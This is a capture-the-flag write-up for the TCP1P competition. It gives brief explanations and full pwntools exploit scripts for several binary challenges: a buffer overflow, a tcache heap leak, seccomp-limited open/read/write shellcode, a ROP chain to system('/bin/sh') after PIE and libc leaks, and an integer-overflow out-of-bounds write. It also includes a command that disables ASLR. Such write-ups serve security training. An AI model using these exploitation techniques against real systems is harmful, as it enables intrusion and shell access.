TCP1P

PWN:

bluffer Overflow:

provide us with c source code,just use gcc to compile and the offset to the addr we need to write was 0x14

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./chall")
io=remote("ctf.tcp1p.com",17027)
# elf=ELF("./chall")

payload=b"\x00"*0x14+p64(0x4e5750)
io.sendlineafter(b"Input: ",payload)

io.interactive()

babyheap:

when we call read_flag, it will malloc(0x70)*7
just make sure u have spare tcachebin before u call read_flag
then u can leak flag by view

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./chall")
io=remote("ctf.tcp1p.com",4267)
elf=ELF("./chall")

def add(n,s,cc):
    io.sendlineafter(b"> ",b"1")
    io.sendlineafter(b"Index: ",str(n))
    io.sendlineafter(b"Size: ",str(s))
    io.sendlineafter(b"Content: ",cc)
    
def delete(n):
    io.sendlineafter(b"> ",b"2")
    io.sendlineafter(b"Index: ",str(n))
    
def show(n):
    io.sendlineafter(b"> ",b"3")
    io.sendlineafter(b"Index: ",str(n))
    
# gdb.attach(io)
# pause()    

for i in range(1,7):
    add(i,0x70,b"aaa")

for i in range(1,7):
    delete(i)

io.sendlineafter(b"> ",b"4")

show(2)
    
io.interactive()

message:

program run our shellcode with seccomp rules added
seccomp-tools dump ./chall and we get

fk@fk-pop:~/文档/match/tcp1p/message$ seccomp-tools dump ./chall
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010
 0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009
 0006: 0x15 0x02 0x00 0x00000001  if (A == write) goto 0009
 0007: 0x15 0x01 0x00 0x00000002  if (A == open) goto 0009
 0008: 0x15 0x00 0x01 0x000000d9  if (A != getdents64) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

which allows getdents64,open,read,write
the flag name was not flag anymore,we need to use getdents64 to list all files in current directory
then normal orw shellcode is ok

from pwn import *
context(log_level='debug',os='linux',arch='amd64',terminal=['tmux','splitw','-h'])


# io=process("./chall")
io=remote("ctf.tcp1p.com",8008)

# gdb.attach(io.pid)
# pause()

io.recvuntil(b"me? \n")

# list current directory files
# payload = asm('mov rsp,QWORD PTR fs:[0]')
# payload += asm(shellcraft.open('.'))
# payload += asm(shellcraft.getdents64(3, 'rsp', 0x500))
# payload += asm(shellcraft.write(1, 'rsp', 0x500))

# orw flag
payload=asm(shellcraft.open("flag-3462d01f8e1bcc0d8318c4ec420dd482a82bd8b650d1e43bfc4671cf9856ee90.txt"))
payload+=asm(shellcraft.read(3,'rsp',0x100))
payload+=asm(shellcraft.write(1,'rsp',0x100))


io.send(payload)

io.interactive()

gamechanger:

pie enabled,full relro
ezbypass the random number

then we have a chance to overflow,the first time we could partial write the ret addr
made it to _start ,meanwhile ,due to the printf we could leak the base addr at the same time

the second time we enter ask ,we overflow the ret addr to puts func,this could print the addr of __funlockfile ,which we can infer libc base according to this ,ret addr+0x8 to ask

as we got all the addr we need,then the last time we just use normal rop
I've tried ogg but it doesn't work on my local
and one thing to mention,if you just use libc_addr+libc.sym[b"system"] as the addr of system, you probably can't get shell at last, I guess maybe it's because stack alighment problem, so we just add 0x1b as offset to call do_system directly

0x7ffff7c50d7b <system+27>    call   do_system                <do_system>

disturbing when it doesn't provide any info about the libc
however we can just leak from remote and infer

and I just use the following when debugging, it's annoying to meet the 1/16 when dealing with the aslr

sudo su
echo 0 > /proc/sys/kernel/randomize_va_space

exp:

from pwn import *
from ctypes import *
context(log_level='debug',os='linux',arch='amd64',terminal=['tmux','splitw','-h'])

io=process("./gamechanger")
# io=remote("ctf.tcp1p.com",9254)
elf=ELF("./gamechanger")
cs=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc=elf.libc

io.sendlineafter(b"No): ",b"1")

io.recvuntil(b"100\n")
now = int((time.time()))
cs.srand(now)
io.sendline(str((cs.rand()+0x22)%0x17))

# gdb.attach(io)
# pause()


io.recvuntil(b"morning?\n")
payload=cyclic(0x104)+b"nmsl"+b"\x10\x51"
io.send(payload)

io.recvuntil(b"nmsl")
base_addr=u64(io.recv(6).ljust(8,b"\x00"))-0x1110
pop_rbp=base_addr+0x11e3
ret=base_addr+0x1016
read_text=base_addr+0x1060
leave_ret=base_addr+0x1358
puts_plt=base_addr+elf.plt[b"puts"]
print("base_addr: ",hex(base_addr))


##############


io.sendlineafter(b"No): ",b"1")

io.recvuntil(b"100\n")
now = int((time.time()))
cs.srand(now)
io.sendline(str((cs.rand()+0x22)%0x17))

gdb.attach(io)
pause()

io.recvuntil(b"morning?\n")
payload=cyclic(0x108)+p64(base_addr+elf.sym[b"puts"])+p64(base_addr+0x135a)
io.send(payload)


leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x620d0
print("leak_addr: " +hex(leak_addr))

shell=leak_addr+0xebdb3
pop_rdi=leak_addr+0x2a3e5
str_sh=leak_addr+next(libc.search(b"/bin/sh"))
sys_addr=leak_addr+libc.sym[b"system"]

####### 
# io.sendlineafter(b"No): ",b"1")

# io.recvuntil(b"100\n")
# now = int((time.time()))
# cs.srand(now)
# io.sendline(str((cs.rand()+0x22)%0x17))


# io.recvuntil(b"morning?\n")
payload=cyclic(0x108)+p64(pop_rdi)+p64(str_sh)+p64(sys_addr+0x1b)
io.send(payload)



io.interactive()

# 0x000000000002a3e5 : pop rdi ; ret                                                                         


# 0x00000000000011e3: pop rbp; ret; 
# 0x0000000000001016: ret; 
# 0x0000000000001358: leave; ret; 


# 0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
# constraints:
#   rsp & 0xf == 0
#   rcx == NULL
#   rbp == NULL || (u16)[rbp] == NULL

# 0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
# constraints:
#   address rbp-0x78 is writable
#   [r10] == NULL || r10 == NULL
#   [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

# 0xebcf5 execve("/bin/sh", r10, rdx)
# constraints:
#   address rbp-0x78 is writable
#   [r10] == NULL || r10 == NULL
#   [rdx] == NULL || rdx == NULL

# 0xebcf8 execve("/bin/sh", rsi, rdx)
# constraints:
#   address rbp-0x78 is writable
#   [rsi] == NULL || rsi == NULL
#   [rdx] == NULL || rdx == NULL

# 0xebd52 execve("/bin/sh", rbp-0x50, r12)
# constraints:
#   address rbp-0x48 is writable
#   [rbp-0x50] == NULL || rbp-0x50 == NULL
#   [r12] == NULL || r12 == NULL

# 0xebdaf execve("/bin/sh", rbp-0x50, [rbp-0x70])
# constraints:
#   address rbp-0x48 is writable
#   [rbp-0x50] == NULL || rbp-0x50 == NULL
#   [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

# 0xebdb3 execve("/bin/sh", rbp-0x50, [rbp-0x70])
# constraints:
#   address rbp-0x50 is writable
#   [rbp-0x50] == NULL || rbp-0x50 == NULL
#   [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

unsafe:

int-overflow to bypass the random check
no check for the minus in deposit func
so there is OOB write , the second input in this func is to do plus or minus with the value on that addr based on the offset of the variable safes
exp:

from pwn import *
from ctypes import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./unsafe")
io=remote("ctf.tcp1p.com",1477)
elf=ELF("./unsafe")
cs=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc=elf.libc


idx=((1<<31)+0x1)-1<<32
io.sendlineafter(b"age: ",str(idx))
io.sendlineafter(b"name: \n",b"\x00\x00\x00\x00")

now = int((time.time()))

cs.srand(0)

io.sendlineafter(b"password: \n",str(cs.rand()))

# gdb.attach(io)
# pause()

### make /bin/sh
io.sendlineafter(b"): \n",str(0))
io.sendlineafter(b"deposit: \n",str(0x3b6873))

### exit_message to str_sh
io.sendlineafter(b"): \n",str(0x64))
io.sendlineafter(b"deposit: \n",str(0x2058))

### puts to system
io.sendlineafter(b"): \n",b"-12")
io.sendlineafter(b"deposit: \n",str(-0x291e0))


io.interactive()

MISC:

Sanity Check:

discord server bot's sign was the flag

Guess my number:

baisc script writing with pwntools and ctypes
exp:

from pwn import *
from ctypes import *

# io=process("./guess")
io=remote("ctf.tcp1p.com",7331)
cs=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

cs.srand(0x539)

key=0xcafebabe ^ (cs.rand() + 0x1467f3)

io.sendlineafter("Guess : ",str(key))

io.interactive()